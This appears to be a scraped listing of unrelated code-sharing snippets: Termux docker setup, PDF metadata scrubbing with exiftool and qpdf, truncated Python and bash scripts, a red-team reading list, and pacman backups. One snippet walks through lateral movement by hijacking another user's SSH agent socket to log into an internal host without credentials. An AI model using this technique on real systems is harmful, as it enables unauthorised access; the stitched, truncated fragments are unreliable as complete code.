All packages, except for Tini have been added to termux-root. To install them, simply pkg install root-repo && pkg install docker. This will install the whole docker suite, left only Tini to be compiled manually.
Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld
user@internal:~$ hostname -f
internal.company.tldMany tools do not fully remove metadata, but just remove the link with in the metadata table. The data are thus still available in the PDF file itself.
While a lot of people rely on Exiftool to remove metadata, it actually does the same in PDFs. If you remove metadata with exiftool -all= some.pdf, you can always restore the data with exiftool -pdf-update:all= some.pdf.
There are several options to remove PDF metadata safely:
- Remove metadata with exiftool :
exiftool -all= some.pdf - Then remove ununsed objects with qpdf :
qpdf --linearize some.pdf - > some.cleaned.pdf
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /usr/bin/python3 | |
| import http.server, ssl, sys, random, string, argparse, socket | |
| hostname = "[domain]" | |
| redirect_enabled = False | |
| redirect_target = "" | |
| redirect_token = "" | |
| manual_redirect_token = False | |
| redirect_code = 303 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import json | |
| import glob | |
| all_bookmarks = [] | |
| md_file = open("bookmarks.md", "w+") # saving in markdown file, if no file exists using '+' creates one | |
| files = [file for file in glob.glob("JSONBookmarks/*")] # using glob to read all files from the folder | |
| for file_name in files: | |
| print(file_name) | |
| with open(file_name) as bk: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| import zipfile | |
| import random | |
| def get_zip_file_header_offset(zip_filename, target_filename): | |
| """ | |
| Parse the file header offset for a target_filename. | |
| :param zip_filename: The name of the zip file to read. | |
| :param target_filename: The name of the file to find the header of. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| while :; do | |
| verf=$(cat /dev/urandom | tr -dc '0-9' | fold -w 8 | head -n 1) | |
| pin=$(cat /dev/urandom | tr -dc '0-9' | fold -w 5 | head -n 1) | |
| ip=$(printf "%d.%d.%d.%d\n" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))") | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| The arsenal, armory & library by Maderas (@hackermaderas, #CyberpunkisNow) 6/8/2019 | |
| Original / 1st version here: https://pastebin.com/rMw4WbhX | |
| ___________________________________________________________________________________ | |
| # Basic knowledge requirements for Red Teaming, PenTesting, Hacking & Cybersecurity | |
| # These are the basic competencies expected (and tested for during the in-person technical interview) by one of the largest, most visible InfoSec companies # on Earth. | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| {"lastUpload":"2021-08-31T08:20:42.057Z","extensionVersion":"v3.4.3"} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Storing installed package names | |
| echo $(pacman -Qentq) > pacman.bak | |
| echo $(pacman -Qemtq) > yay.bak | |
| echo $(pacman -Qdq) > pacman-optdep.bak | |
| # Global config | |
| cp /etc/pacman.conf pacman.conf.bak | |
| cp -r /etc/pacman.d/ pacman.d.bak | |
| cp /etc/hosts hosts.bak | |
| cp /etc/hostname hostname.bak |